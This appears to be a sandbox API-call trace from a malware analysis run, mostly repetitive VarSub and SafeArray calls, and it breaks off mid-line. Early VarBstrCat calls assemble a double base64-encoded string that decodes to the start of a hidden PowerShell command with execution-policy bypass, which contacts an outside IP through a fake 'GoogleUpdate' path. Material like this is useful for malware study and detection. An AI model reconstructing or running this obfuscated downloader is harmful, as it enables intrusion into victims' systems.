bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVbVZ6Y0c", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6YUdWc2JDQXRibTl3SUMxbGVHVmpJR0o1Y0dGemN5QXRZeUFpSkhJOVcxTjVjM1JsYlM1T1pYUXVWMlZpVW1WeGRXVnpkRjA2T2tOeVpXRjBaU2duYUhSMGNEb3ZMekUxTkM0eE5pNHpOeTR4TWpJdlIyOXZaMnhsVlhCa1lYUmxMMVZ3WkdGMFpTNXdhSEFuS1RzZ0pISmxjM0E5SkhJdVIyVjBVbVZ6Y0c5", bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.772] SafeArrayDestroyData (psa=0x697b160) returned 0x0 [0053.772] SafeArrayDestroyData (psa=0x663f2e0) returned 0x0 [0053.772] SafeArrayDestroyDescriptor (psa=0x663f2e0) returned 0x0 [0053.772] SafeArrayDestroyData (psa=0x663f2e0) returned 0x0 [0053.773] SafeArrayDestroyDescriptor (psa=0x663f2e0) returned 0x0 [0053.773] VarAdd (in: pvarLeft=0x697b1a8, pvarRight=0x697b268, pvarResult=0x697b190 | out: pvarResult=0x697b190) returned 0x0 [0053.773] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x697b2a8 | out: ppsaOut=0x697b2a8) returned 0x0 [0053.773] SafeArrayAllocData (psa=0x663f2e0) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.773] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.774] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.775] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.776] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.777] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.778] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.779] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.780] VarSub (in: 